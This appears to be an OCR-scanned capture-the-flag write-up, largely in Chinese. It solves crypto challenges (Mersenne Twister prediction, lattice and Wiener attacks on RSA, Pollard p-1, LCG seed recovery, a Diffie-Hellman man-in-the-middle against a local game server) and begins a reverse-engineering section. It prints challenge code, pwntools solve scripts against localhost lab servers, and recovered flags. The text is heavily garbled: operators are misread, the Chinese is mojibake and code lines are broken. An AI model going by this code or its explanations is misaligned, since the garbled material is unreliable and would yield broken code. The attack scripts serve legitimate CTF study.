5622281807999485505, 14569192468876186982, 14630069658850847011,
16773258690585461421, 18389597806847801029, 10472996005701793667,
3759674700924135853, 10262091729621178420, 16701805780995667624,
610774748941422543, 15196883788956447444, 9460518660735169734,
9762483640763468979, 1884261199128482660, 720677993385675647,
15665990291223736815, 12271993145281114551, 16640017606517311626,
15049882906721819276, 8999967670535018026, 4913139644876434221,
14335983073865867552, 9433872909584754661, 17656525750264252860),
3697095582005305824, 14640597640048004591, 9694921152492556946,
17447421821888281888, 5717761111414609026, 4490932245077486589,
941129245899569829, 18089529070417854965, 6516248180262275397,
7668496403185515383, 2106711689795921648, 10155569900331134111,
2472433487996321130, 12738894825834621835, 14625666253392095479,
17778262995017917344, 1182397681143118684, 2594873081371686955,
17606524721308969517, 12064336749522325276, 11367766642683263680,
1639881877609414890, 11238963802794555387, 2447308819052986851,
2335812252167645833, 75782517775706282, 2101470839715599003,
2775281708986492027, 13080708179246948175, 2731877131387183097,
12607455274160526607, 5197795264378788983, 9779731893128471670,
1173696543027461667, 16583652859652351123, 349992880391270706,
3887482898371301185, 1145194513039879394, 8907314862230843249,
13644858661535240248, 8283510346666450443, 9218685941652261582,
4245625908727354276, 14417747465308873693, 13960834777584840901,
2586123855977897471, 6704209230906477418, 2939108022904475784,
10497397449843678887, 17718494158421746191, 13610358174371848643,
1768604711637807139, 10884987608467441238, 7019982499860200077,
6164690718554535160, 4508325020967445120, 8697643065563095440,
15708304160471378750, 3520469921200303916, 7588138342064372470,
11295583438855542184, 14798104074893414208, 5340320101414691387,
15600550007093777554, 5639221868116936624, 9878993943694482608,
2491802576572876408, 3956643584999133306, 15800992510398727855]
prng=[]
for i in Rand:

prng.append(int(i)& (2 *x 32 - 1))

prng.append (int(i)>> 32)
for i in range(624):

rc.submit(prnglil)
notrandom=rc.predict_getrandbits(140)
print(notrandom)
ml= 700859526872118523382399823582184143046738
m2= 1252904421388813320279041220072950509956587
key=m2~notrandom
flag=mlrkey
print(long_to_bytes(flag))



b'flag{MT19937ANDp}"

Tri-RSA?
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1 from Crypto.Util.number -import *
2
3 def genKey(nbits, dbits):
4 bbits = (nbits // 2 - dbits) // 2
5
6 while True:
7 a = getRandomNBitInteger (dbits)
8 b = getRandomNBitInteger (bbits)
9 c = getRandomNBitInteger (bbits)
10 pl =axb *xc+ 1
11 if disPrime(pl):
12 break
13
14 while True:
15 d = getRandomNBitInteger (dbits)
16 p2 = b xc *d+ 1
17 if disPrime(p2):
18 break
19
20 while True:
21 e = getRandomNBitInteger (bbits)
22 f = getRandomNBitInteger (bbits)
23 gl = e xd x f + 1
24 p3 =axex f+1
25 if disPrime(gl) and isPrime(p3):
26 break
27
28 while True:
29 d_ = getRandomNBitInteger (dbits)
30 if GCD(a * b x ¢ xd x e x f, d_) != 1:
31 continue
32 e_ = inverse(d_, a *x b x ¢c x d x e x f)
33 ki = (e_*xd_-1) // (a*xb*xcx*xdx*ex*xf)
34 assert e_ xd_==(a*xb*xcx*xdxex*xf) x kl +1
35 g2 = kl e x f + 1
36 g3 =kl *b x c+ 1
37 if disPrime(g2) and isPrime(g3):

38 break


https://www.cnblogs.com/mumuhhh/p/17802858.html

39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

59

60

nl = pl x ql
n2 = p2 x g2
n3 = p3 * g3

assert pow(pow(Oxdeadbeef, e_, nl), d_, nl) == Oxdeadbeef
assert pow(pow(0Oxdeadbeef, e_, n2), d_, n2) == Oxdeadbeef
assert pow(pow(0Oxdeadbeef, e_, n3), d_, n3) == Oxdeadbeef

return (e_, nl, n2, n3)
flag = b'flag{xx*xxkxx*x}'

pubkey = genKey (1024, 256)
(e, nl, n2, n3) = pubkey

m = bytes_to_long(flag)

c = pow(m, e, nl)

print(f'{pubkey=}\n{c=1")

nn

pubkey=
(123199867561276006371340580685119180741396912231632119967356990047841175061494
2110014651171079389792053666696417846327374864129865824989990871538047965430129
5418244466436795469257517874303861515809655732155825865507875893478270977022085
838775298698572257087055667812529030184812557380557081720084354514464389,
4186749900730836431593755995668862216321542197624212789088904016455914462872403
5876078483927423528820067635487199741373825159446100113034892771700577868022006
8824405367069920546018260973625688481732689372140806686431777656465388872178605
56132436047053458790382409837283922191366241475222426574126067489055547 ,
1349880793386866866796643838409139247507150115600598369483968920519828947972745
9405005995045143409342162708219129413591306238763873589894155497743897670760151
1677495645023952893305683999695415490879140072700479321484760825440039162989321
44146965280684843034929619016810329929360456967901267830503004684325843,
1471276528773277116743054632191250234407798462849526274033859466196277141726254
0061070779229200183813895812603716342098208378100875138208826397887467799636762
5012428293966543909877985302796006671107824656171225412032871507236342315000083
01554900140817504531530826464203833733132063846895185736583106018278801)
c=29811735710123745610060838132431527294434601415248343500463696936905204923637
0345987942486294033761686621580508484381609106286126032822300486048650506598382
2508140916095112202042014283873203052539674355734864158171989012362443430839112
7313294619794866791183040122632037136770423056928937594071099658229867345
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E!d— 1= k]¢(N1)
ed —1 = kzqf)(Ng)
ed — 1 = k3¢p(N3)

TRE:
ed — k]N] =1 +k1$1
ed — koNo =1+ ko 89
ed — ks N3 = 1 + k3 s3
SRS -
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from gmpy2 {import *

from Crypto.Util.number import long_to_bytes

pubkey=
(123199867561276006371340580685119180741396912231632119967356990047841175061494
2110014651171079389792053666696417846327374864129865824989990871538047965430129
5418244466436795469257517874303861515809655732155825865507875893478270977022085
838775298698572257087055667812529030184812557380557081720084354514464389,
4186749900730836431593755995668862216321542197624212789088904016455914462872403
5876078483927423528820067635487199741373825159446100113034892771700577868022006
8824405367069920546018260973625688481732689372140806686431777656465388872178605
56132436047053458790382409837283922191366241475222426574126067489055547,
1349880793386866866796643838409139247507150115600598369483968920519828947972745
9405005995045143409342162708219129413591306238763873589894155497743897670760151
1677495645023952893305683999695415490879140072700479321484760825440039162989321
44146965280684843034929619016810329929360456967901267830503004684325843,
1471276528773277116743054632191250234407798462849526274033859466196277141726254
0061070779229200183813895812603716342098208378100875138208826397887467799636762
5012428293966543909877985302796006671107824656171225412032871507236342315000083
01554900140817504531530826464203833733132063846895185736583106018278801)

C
=298117357101237456100608381324315272944346014152483435004636969369052049236370
3459879424862940337616866215805084843816091062861260328223004860486505065983822
5081409160951122020420142838732030525396743557348641581719890123624434308391127
313294619794866791183040122632037136770423056928937594071099658229867345

e_ = pubkey[0]
nl = pubkey[1]
n2 = pubkey[2]
n3 = pubkey[3]

M=iroot(int(n3),int(2))[0]
a=[0]*4

al0]=[M,e_,e_,e_]
al1]=[0,-n1,0,0]
a[2]=[0,0,-n2,0]
al3]=[0,0,0,-n3]

Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()

assert abs(Mat_LLL[O][0])%M ==
d = abs(Mat_LLL[O][0O])//M

m = int(pow(c,d,nl))
print(long_to_bytes(m))

b’ flag{Dual!'RSA!'}’



BabyRSA

&l
1 from Crypto.Util.number -dimport *
2 from secret import flag
3 from random +import *
4
5 f1 = flag[:len(flag)//2]
6 f2 = flag[len(flag)//2:]
-
8 pl = getPrime(512)
9 gl = getPrime(512)
10 n1 = p1 * gl
11 el = 65537
12 cl = pow(bytes_to_long(fl), el, nl)
13 hint = pow((1+nl), pl, nl*x*x2)
14
15 print(f"""nl = {nl}
16 cl1 = {cl}
17 hint = {hint}""")
18
19 def getP(bits):
20 while True:
21 n =2
22 while n.bit_length() < bits:
23 n *x= choice(sieve_base)
24 if isPrime(n + 1):
25 return n + 1
26
27 p2 = getP(512)
28 g2 = getPrime(512)
29 n2 = p2%Qq2
30 e2 = 65537
31 c2 = pow(bytes_to_long(f2), e2, n2)
32 print(f""
33 n2 = {n2}
34 e2 = {e2}
35 c2 = {c2}""M)
36
37 """
38 nl =

6884501584955347248699625604922066098045506180355201731312848534295705189094975
5726894854145495703207897512318993814973222357561583745667138450913261855398084
6201809994145771739743803340815948091191804601699288394479609100363026305588355
47543408860931524568806709337133369984668672045971056788741112201163137
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cl =
5279050350286380706764368286403679757434728340382301106349815690211400306040736
9942578413051627464346704783258628977070949130746020442153913786702377384662245
7960935906701752331937102470381555136458543556448297974766595631264073226324972
5558890359387143533416488695674690248169712844137093509582330435503238

hint =
5548297557191287840157407248383238415929484953659000402805883958822884020425014
8514045846001865688053497659257829092299804254551981863656598498083097078656916
2643324206284910770000821527671329907642946275728197865510191786872803988882612
0504983703810160118127622231738753284773127602172203849281080296953821080108923
3020291384788005545038742279787928424673295749089913068575145044585789942114881
2660000233694939771795948029395605845960104035094458406870719300530

n2 =
1549214609121109633056673615908825462275436988465033861463340971908400707311987
2372214854405504646087753653932567957370861802985730362803073378438479716462221
2464105170780044167399467117596531036793180278349121140731976911861540057591083
9356083272037990026922425478916641863211655392209414015217046699793134480679

e2 65537

c2 =
1340345809616539077001394625428382735998292575257321772969594857043895242396348
1101637096314635998238929401074126650597223093303489179572569791958170648110623
9519981265710648455638155483273143508946250414322506666617318717944518782142616
0145563358172037535756755834644390313521709172336277615302521737969761775133

flagik AT MERY, AARERIRSARTT 7 INE,
E—85, 447 —"hint=pow((1+nl), p1,n1**2), EEBXIMRFEHR, REZNHEIEEE

F]lie

(14+n1)?" =1+ p; * ny(mod n?)

hint =14 p; *ny

ETRIEBRSARE
E_887, MIAIRTT p2REMTTE, AIRp2R— 1 ILiE . FApollard_rho& ZEIA],

exp:

from Crypto.Util.number import *

import gmpy2

nl =
6884501584955347248699625604922066098045506180355201731312848534295705189094975
5726894854145495703207897512318993814973222357561583745667138450913261855398084
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6201809994145771739743803340815948091191804601699288394479609100363026305588355
47543408860931524568806709337133369984668672045971056788741112201163137

cl =
5279050350286380706764368286403679757434728340382301106349815690211400306040736
9942578413051627464346704783258628977070949130746020442153913786702377384662245
7960935906701752331937102470381555136458543556448297974766595631264073226324972
5558890359387143533416488695674690248169712844137093509582330435503238

hint =
5548297557191287840157407248383238415929484953659000402805883958822884020425014
8514045846001865688053497659257829092299804254551981863656598498083097078656916
2643324206284910770000821527671329907642946275728197865510191786872803988882612
0504983703810160118127622231738753284773127602172203849281080296953821080108923
3020291384788005545038742279787928424673295749089913068575145044585789942114881
2660000233694939771795948029395605845960104035094458406870719300530

e=65537

pl=(hint-1)//nl

gql=nl//pl

phil=(pl-1)*(ql-1)

dl=gmpy2.invert(e,phil)

ml=pow(cl,dl,nl)

def Pollard(N):
a =2
n=2
while True:
a = pow(a, n, N)
g = gmpy2.gcd(a - 1, N)
if (g !'= 1 and g !'= N):
return g
break
n+=1

n2=
1549214609121109633056673615908825462275436988465033861463340971908400707311987
2372214854405504646087753653932567957370861802985730362803073378438479716462221
2464105170780044167399467117596531036793180278349121140731976911861540057591083
9356083272037990026922425478916641863211655392209414015217046699793134480679

e2 65537

c2 =
1340345809616539077001394625428382735998292575257321772969594857043895242396348
1101637096314635998238929401074126650597223093303489179572569791958170648110623
9519981265710648455638155483273143508946250414322506666617318717944518782142616
0145563358172037535756755834644390313521709172336277615302521737969761775133
p2=Pollard(n2)

q2=n2//p2

phi2=(p2-1)*(q2-1)

d2=gmpy2.invert(e2,phi2)



31 m2=pow(c2,d2,n2)
32
33 print(long_to_bytes(ml)+long_to_bytes(m2))

b'flag{ma7h_1s_int3resting.}’
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You're right, but Genshin Impact is an open-world adventure game developed by MiHoYo.

The game takes place in a fantasy world known as Teyvat, where those chosen by the gods are granted
the Vision of God to channel the power of the elements.

However, you have hacked in the game today, and you will be able to eavesdrop and tamper with other
players' communications with the server.

Have a good time now, and try to get the flag!

your primogem: @, your token: cdb59355f3ba293977fc09u5fb85f11822dU12cU5c7520c7121bd223Uf6c1FUB


https://blog.csdn.net/happy_single/article/details/106175275

Options
. Hack in a communication
. Top up
. Buy something
. Quit the game

. Aqua Simulacra Primogems
. Yelan's Stella Fortuna 16000 Primogems
. Dog of Kamisato Ayaka 9999999 Primogems
. Flag 99999999999 Primogems

your primogem: 0.
[Store]: Please select a thing to buy:
> [Store]: Invalid option

. Aqua Simulacra Primogems
. Yelan's Stella Fortuna 16000 Primogems
. Dog of Kamisato Ayaka 9999999 Primogems
. Flag 99999999999 Primogems

your primogem: 0.
[Store]: Please select a thing to buy:

B RIH LB ERLS B MK S hacks199999999999 L FHIER, AXiiflag. ETFRE
_—Fa\iggﬁﬁo




Options
. Hack in a communication
. Top up
. Buy something
Quit the game

select a choice
>1
ever have joined in the communication
ou have hacked in the communication.
Ov3chdn have joined in the communication.
[Sever]: Hello, shall we choose the (g, p) = (13253274722533442768895736567133071, 98642U407614211807481174737560726245L43836U4800959774294734758956243086544U58
7294765062760084500301437835442324141001626445088382999319771966494360632505789122028322625460924169133924769919627454380049043054229316959676199027892386721
44070802437418944632388498103003031914334927637833151634903500098556804281831)7
Ov3chidn]: Sure, I got it.
Received from [Sever]'s message=:
[Sever]: Here is my key = 467295534925099070452395090180390U40549069625389386767437053148260100022L7769141351672063743314214288812721762013931112507703265055981

45830599424661699543145588903146192593685808603567859744177318932480U485749281599237708U481742474480105997303263U87737609536072U474050640395517621583304470613731
3851194868292410316, and you?

=Do you want to change the message?[y/n]=

n

=Received from [LOv3chdn]'s message====

v3chdn]: I got it. And here is my key = 5016760643043592288258637996311318053637948280142607898989542121245094379500L0480019890898000635247981136125079628

8723647239194426645U4807789342450927752010604432053350388980164315027557022860004988768713358983202533074132477940717001379841488914381510922420838149393403985
19352185369777807839652504438L2228838.

=Do you want to change the message?[y/n]=
> Received from [Sever]'s message
[Sever]: Okay, now I will encrypt a palindrome to check whether we got the same key.
7860834400054081617710251098488506628744266444331406034914266146314437979902779815589316335670638930627493958932280345604066853133049430574200535801475256774
49298082003493231318573915487673791463351253036062338406271888429195011913887775833391101770615617995621092652170461907817821486637697565165810098978691

=Do you want to change the message?[y/n]=

n

=Received from [LOv3chdn]'s message=:
0v3chdn]: We got the same key. Now I want to top up 100000000000 primogems. Here is my token:944u485440153859938622u45243621240497313084442392337684188511383
40887893792773073037328588550743222599889467141729071510498756669113896560739579635544925094356U400623679529599586571281117529134U66463199331486905663766728994
5827057099310866243919843736201611296514760954645532094705438168627135291115048599953216
=Do you want to change the message?[y/n]=
> [Sever]: Finished. Bye!
[LOv3chdn]: Bye!
Ov3chidn have left in the communication
ever have left in the communicatio
your primogem: 0, your token: cdb59355f3ba293977fc09U5fb85f11822dU12cU5c7520c7121bd223uUf6c1fuU8
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from pwn import =*

import ditertools

import string

import hashlib

from Crypto.Util.number -import *

import gmpy2

import re

def

proof=hashlib.sha256 ( (x+suffix.format(i[0],i[1],i[2],7[3])).encode()).hexdigest

O

def

proof(io):

jo.recvuntil(b"XXXX+")

suffix = jo.recv(16).decode("utf8")
jo.recvuntil(b'"== ")

cipher = do.recvline().strip().decode("utf8")

for i in qdtertools.product(string.ascii_letters+string.digits, repeat=4):

x = "{H{I{}{3}".format(i[e],i[1],i[2],7[3])

if proof == cipher:
break
print(x)
jo.sendlineafter (b"XXXX:",x.encode())

exp(io):

jo.recvuntil(b"token:'")
token=1int(io.recvline().strip().decode(),16)
jo.recvuntil(b"> ")

jo.send(b"1'")

io.recvuntil(b"= (")
g=int(io.recvuntil(b",").strip().decode().replace(",",""))
p=int(io.recvuntil(b")").strip().decode().replace(")",""))
jo.recvuntil(b"Here is my key = ")
YA=int(io.recvuntil(b",").strip() .decode().replace(",",""))
XD1l=getRandomNBitInteger (1024)

YD1=pow(g,XD1l,p)

jo.recvuntil(b"> ")

jo.send(b"y")

jo.recvuntil(b"> ")

jo.send(str(YD1l) .encode())

jo.recvuntil(b'"my key = ")
YB=1int(io.recvuntil(b".").strip() .decode().replace(".",""))
XD2=getRandomNBitInteger (1024)

YD2=pow(g,XD2,p)

jo.recvuntil(b"> ")

jo.send(b"y")

jo.recvuntil(b"> ")

jo.send(str(YD2).encode())

K2=pow(YA,XD2,p)



46 K1=pow(YB,XD1,p)

47 jo.recvuntil(b"same key.")
48 cll= (re.sub(r'"\D', "', do.recvuntil(b"=").strip().decode()))
49 jo.recvuntil(b"> ")

50 jo.send(b"y'")

51 jo.recvuntil(b"> ")

52 ml=gmpy2.invert(K2,p)*cll
53 c12=K1*ml%p

54 jo.send( (c12) .encode())
55 jo.recvuntil(b"> ')

56 jo.send(b"y")

57 jo.recvuntil(b"> ")

58 c22=K2xtoken%p

59 jo.send( (c22) .encode())
60 jo.recvuntil(b"> ")

61 jo.send(b"3")

62 jo.recvuntil(b"> ")

63 io.send(b"4")

64 io = remote('127.0.0.1',8718)
65 proof(io)

66 exp(io)

67 “do.interactive()

C:\Users\jyzho\Desktop\% £ \Python>python test.py

[<] Opening connection to 127.0.0.1 on port 8718

[+] Opening connection to 127.0.0.1 on port 8718: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 8718: Done

EkwJ

[*] Switching to interactive mode

[Store]: You have bought Flag.

[Store]: You have got the flag: b'flag{MITM_1s_Simp|3.}"'.

LCEH

BEXBNE, FEXBENENLRE

LCG, &MRIRZE, B—MEMRMNBNENAE, B— P ARRERERZE
Xni1 = (aX,, +b) modm

EAESUTENMAN, BNaASEEMMLCGIRR


https://blog.csdn.net/weixin_45883223/article/details/115299389
https://blog.csdn.net/superprintf/article/details/108964563

=]:h) ast

1.Xn RIEHX, Xn=(a™ (Xns1 - b))%m
23ka a=((Xns2-Xns1)(Xp+1-Xn) ) %m
3.3kb b=(Xp+1 = aXp)%m
4.3Kkm th=Xn+1-Xn, M=gcd((tq+1tn.1 - tatn) ; (thtn2 = th-1tn1))

1 from LCG_secret import m,c,n,flag
2 from Crypto.Util.number -dimport *

3

4 class prng_lcg:

5 def __init__(self, seed,m,c,n):
6 self.state = seed

7 self.m,self.c,self.n=m,c,n
8 def next(self):

9 self.state = (self.state x self.m + self.c) % self.n
10 return self.state

11

12 def enc(message):

13 LCG=prng_lcg(message,m,c,n)

14 for i 1in range(6):

15 print(f"s{i}=",LCG.next())
16 return ' '

17

18 format=b"flag{???}"

19 message=bytes_to_long(flag[5:])

20 print(enc(message))

21 '

22 s0O= 8065078860816394627037999386522365788412290
23 sl1= 9907381823099602622340400194727574821710538
24 s2= 5955446090050252014851703848739219612947791
25 s3= 6238681740751405293742006571555346471393322
26 s4= 10560673176787812818375757176554537493231931
27 s5= 5154883992869446352983335813077653047419016
28 '"!

BEAREMEEI LENATNEREXENN, ARMAILUKEa,b, #im@Eds0kiitseed

exp:

1 from gmpy2 -dimport tdinvert
2 from primefac +import *



3 from sympy import factorint

4 from functools 1import reduce

5 from Crypto.Util.number -import long_to_bytes

6 s = [

7 8065078860816394627037999386522365788412290,
8 9907381823099602622340400194727574821710538,
S 5955446090050252014851703848739219612947791,
10 6238681740751405293742006571555346471393322,
11 10560673176787812818375757176554537493231931,
12 5154883992869446352983335813077653047419016
13 ]

14

15 diffs = [sl - sO@ for sl, sO in zip(s, s[1:])]

16 zeros = [t2xtO-tl*xtl for tO, tl, t2 in zip(diffs, diffs[1:], diffs[2:])]
17 N = abs(reduce(gcd, zeros))

18 factors = factorint(N)

19 while not -sprime(N): # FEXENNIFIEEAIEEFCEHEH/EE L AR FT

20 for prime, order in factors.items():
21 if prime.bit_length() > 128:

22 continue

23 N = N / primexxorder

24 a = (s[2] - s[1]) * dinvert(s[1] - s[0], N) % N
25 b = (s[1] - s[0] *x a) % N

26 seed = (s[0] - b) * dinvert(a, N) % N

27 print (long_to_bytes(seed))

b'HOwW_prn9_werks???’

RSAKE
RURITITIEN, BIUFE, HIT Hebflag
il

RSAKEF.py
XN EBERERMZERN, BEINT Mproof of work, I1BIE—THIT

import os

import signal

import string

import random

import socketserver

from hashlib import sha256

from challenges.challengel import RSAServe as C1S

O 0o N oo U b~ W N BR

from challenges.challenge2 import RSAServe as C2S



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

from challenges.secret import FLAG

SCORE = [0, 0]
BANNER = r"""

| N/ | /7 \

| 1) NN/ N\
| <)/ -\
PN/ A\

Welocme back to Week3's RSA challenge!

Here are two challenges(1l, 2) on RSA's further knowledge.

Solve each one so that you can get a gift and 1 score.

If you solve them all, you can get a BIG REWARD.

MEMU = r"'"
o \
| options |
| 1. get public key

| 2. get cipher text |
| 3. check |
| 4. quit this challenge |
e /

class Task(socketserver.BaseRequestHandler):
def _recvall(self):
BUFF_SIZE = 2048
data = b'"'
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()

def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass

def recv(self, prompt=b'> "):
self.send(prompt, newline=False)



57
58
59
60
61
62

63
64
65
66

67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

return self._recvall()

def proof_of_work(self):
random.seed (os.urandom(8))
proof = "'.join(
[random.choice(string.ascii_letters+string.digits) for _ 1in
range(20)1)
_hexdigest = sha256(proof.encode()).hexdigest()
self.send(f"[+] sha256 (XXXX+{proof[4:]}) == {_hexdigest}".encode())
x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() !=

_hexdigest:

return False

return True

def timeout_handler(self, signum, frame):
raise TimeoutError

def Serve(self, S):
self.send(MEMU.encode())
while True:
option = self.recv()
if option == b'1l':
pubkey = S.pubkey()
for s 1in pubkey:
self.send(f"{s}={pubkey[s]}".encode())
elif option == b'2":
c = S.encrypt()
self.send(c.encode())
elif option == b'3':
usr_answer = self.recv(b"input the original string:")
return S.check(usr_answer)
elif option == b'4':
return False
else:
self.send(b"invaild option")

def handle(self):
signal.signal(signal.SIGALRM, self.timeout_handler)
signal.alarm(600)
if not self.proof_of_work():
self.send(b'[!] Wrong!")
return
self.send(BANNER.encode())
while True:
self.send(f'your score: {sum(SCORE)}.'.encode())
if sum(SCORE) == 2:



102 self.send(b'Congratulations, you have solved all challenges!')

103 self.send(b'Here 1is your REWARD:')
104 self.send(FLAG)

105 break

106 self.send(b'select challenge')

107 code = self.recv()

108 if code == b'1':

109 S = C1S()

110 res = self.Serve(S)

111 if res == True:

112 SCORE[0] = 1

113 elif code == b'2":

114 S = C2S()

115 res = self.Serve(S)

116 if res == True:

117 SCORE[1] = 1

118 else:

119 self.send(b'invaild input')

120

121 class ThreadedServer (socketserver.ThreadingMixIn, socketserver.TCPServer):
122 pass

123

124 class ForkedServer (socketserver.ForkingMixIn, socketserver.TCPServer):
125 pass

126

127 +Hif __name__ == "_main__":

128 HOST, PORT = '0.0.0.0', 10002

129 server = ForkedServer ((HOST, PORT), Task)

130 server.allow_reuse_address = True

131 print(HOST, PORT)

132 server.serve_forever ()

challengel.py

1 dmport random

2 from Crypto.Util.number -dimport =*

3 from challenges.secret import giftl
4

5 class RSAServe:

6 def __init__(self) -> None:

7 def create_keypair(size):

8 p = getPrime(size // 2)
9 g = getPrime(size // 2)
10 N=p*q

11 phi = (p - 1) * (g - 1)



12 while True:

13 d = random.getrandbits(size // 4)

14 if (GCD(d, phi) == 1 and 36 * pow(d, 4) < N):
15 break

16 e = 1inverse(d, phi)

17 return p, q, N, e, d

18 self.p, self.q, self.N, self.e, self.d = create_keypair(1024)
19 self.m = giftl

20

21 def encrypt(self):

22 m_ = bytes_to_long(self.m)

23 c = pow(m_, self.e, self.N)

24 return hex(c)

25

26 def check(self, msg):

27 return msg == self.m

28

29 def pubkey(self):

30 return {"N'": self.N, "e": self.e}

challenge2.py

1 from Crypto.Util.number -import *
2 from challenges.secret +import gift2

4 class RSAServe:

5 def __init__(self) -> None:

6 def create_keypair(nbits):
-
8
9

p = getPrime(nbits // 2)
g = getPrime(nbits // 2)
N=p*p*q
10 phi = p * (p-1) * (g-1)
11 e = 0x10001
12 d = inverse(e, phi)
13 return N, e, pow(d, e, phi)
14 self.N, self.e, self.d = create_keypair(1024)
15 self.m = gift2
16
17 def encrypt(self):
18 m_ = bytes_to_long(self.m)
19 c = pow(m_, self.e, self.N)
20 return hex(c)
21
22 def check(self, msg):

23 return msg == self.m



24

25 def pubkey(self):
26 return {"N": self.N, "e": self.e, "d": self.d}
XREEN D 51KE

F—x, eeHBdMphikFBITERW, FEZK, EARLMNKRT, BTAFHN, RER,
BIX, 8T7n, e, HI—1HFENKREAD e%phi, TERITRHBE—HES.
d° = D (mod ¢)
e“d® = D (mod ¢)
BFEITAE, [FAeNMAIBNTXR
ed = 1(mod ¢)
BNERphi T EAE T, Hitk
1 =e°D(mod ¢)
L
eD — 1= k¢ (1)
MAELERRA, nEbiRASTE
n=pkpxq
phi=px(p—1)x(q—1)
THEFH, nMphiFERALEEp, XEE (1) X, Hik
p = ged(e“D — 1,n)
ETREmIDTImeE T

exp:

from pwn import *

import itertools

import string

import hashlib

from Crypto.Util.number -import *
import binascii

import gmpy2

O 0 N oo b W NP

def transform(x, y):

[
(O}

res = []

11 while y:

12 res.append(x // y)
13 X, Y=Y, X%y



14
15
16
17
18
19
20
21
22
23
24

25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

57

def

def

return res

continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]:
denominator, numerator = numerator, i * numerator + denominator

return denominator, numerator

sub_fraction(x, y):
res = transform(x, y)
res = Llist(map(continued_fraction, (res[0:i] for i 1in range(l,

len(res)))))

def

return res

get_pq(a, b, c):

par = gmpy2.isqrt(b *x b - 4 x a x c)

x1l, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)
return x1, x2

def wienerAttack(e, n):

def

proof=hashlib.sha256 ((x+suffix.format(i[0],i[1],7[2],7[3])).encode()).hexdigest

9

for (d, k) in sub_fraction(e, n):
if k == 0:
continue
if (e xd - 1) % k != 0:

continue

phi = (e xd - 1) // k
px, qy = get_pq(l, n - phi + 1, n)
if px x qy == n:
p, g = abs(int(px)), abs(int(qy))
d = gmpy2.invert(e, (p - 1) * (q - 1))
return d
print ("ZAEREA")

proof(io):

jo.recvuntil(b"XXXX+")

suffix = jo.recv(16).decode("utf8")

jo.recvuntil(b'"== ")

cipher = dio.recvline().strip().decode("utf8")

for i in ditertools.product(string.ascii_letters+string.digits, repeat=4):

x = "{}{}{}{}".format(i[0],i[1],7[2],7[3])

if proof == cipher:



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

104 Ho

break
print(x)
jo.sendlineafter (b"XXXX:",x.encode())

challengel(io):

jo.recvuntil(b">")

jo.send(b"1'")

io.recvuntil(b'">")

jo.send(b"1")
n=int((io.recvline().strip().decode())[2:])
e=int((io.recvline().strip().decode())[2:])
io.recvuntil(b'">")

jo.send(b"2")
c=int(io.recvline().strip().decode(),16)
jo.recvuntil(b'">")

jo.send(b"3")

d = wienerAttack(e, n)

m = pow(c, d, n)

ansl=long_to_bytes(int(m))

print(ansl)

jo.recvuntil(b":")

jo.send(ansl)

print(io.recvline())

challenge2(io):

jo.recvuntil(b">")

jo.send(b"2'")

jo.recvuntil(b'">")

jo.send(b"1")

n=int((io.recvline().strip().decode())[2:])

e=int((io.recvline().strip().decode())[2:])

d=int((io.recvline().strip().decode())[2:])

jo.recvuntil(b">")

io.send(b"2")

c=int(io.recvline().strip() .decode(),16)

jo.recvuntil(b'">")

jo.send(b"3")

p=gmpy2.gcd(pow(e,e)*d-1,n)

q=n//p//p

phi = p x (p-1) * (g-1)

d = dinverse(e, phi)

ans2=long_to_bytes(pow(c,d,n))

print(ans2)

jo.recvuntil(b":")

jo.send(ans2)

print(io.recvline())
remote('127.0.0.1',35397)



105 proof(io)

106 challengel(io)
107 challenge2(io)
108 do.interactive()

C:\Users\jyzho\Desktop\%@ & \Python>python testl.py

[<] Opening connection to 127.0.0.1 on port 35397

[<] Opening connection to 127.0.0.1 on port 35397: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 35397: Done
vjXN

b'I_know_how_to_use_wienier_Attack!"

b'your score: 1.\n'
b'The_N_is_consist_of_three_primes.'

b'your score: 2.\n'

[*] Switching to interactive mode

Congratulations, you have solved all challenges!

Here is your REWARD:
flag{7He_wOrId_Of_RSA_i5_so_FanCy.}

[*] Got EOF while reading in interactive

[*] Interrupted

[#] Closed connection to 127.0.0.1 port 35397

Reverse

find_bomb
LR JEFIHARR
BEDEX! FiiRT! | kEfFsft—+—+



™ SRR

DR OFRFHENFRPROOO
P FRONEDWRERO
OFRFNWDDDDUO®RFO
RPN O NERE O
P EEFEWWDDWMNONRERER
N RFRFEPFNNNDRP
PMNMNRPRPORDNEPRE
ODOFRFRFNNWNREFEO
FRRERD NN RO
R FRPFREREFNRERPNRERO

[*] Input format: [operation(o/m)] [line] [column]
[*] operation 'm' for marking a position as bomb,
[*] your operation:

>>> 0 6 2

o' for opening a position

* O FRPOFRFHENPFRPOOO
P RONEDWRFERO
ORFRNWDDD O FO
RPN OB NREO

- N RFRPRPNNND PR
P NNPFPORFRDNRR
OOFRFPNNWNRFEOGO
FRFEFD NN O
PR RFEFREREFNRFEFNNMRERREO

1
1
2
3
@
3
3
il
il
@
i

[

BRIEERYEE.
Your flag is: flag{YOu_@re_Th3_MasTeR_Of_F1Nd_80m8}

] You win!

C:\Users\jyzho\Desktop>|

rc4_sp
BEIDAERBARIERI UL, EHEHREIH P ZARIRE 31T T B, A TR ITEHA



w IDA - rc4_sp.exe C:\Users\jyzho\Desktop\rc4_sp.exe
File Edit Jump Search View Debugger Lumina Options Windows Help

BE evev Hms 8 ) Ay @O ettt v#Fw X > OONo debugger v %l @
; I (] I I [ | | - _____________________________________________}
Library function [l Regular function [l Instruction [l Data [l Unexplored || External symbol [l Lumina function
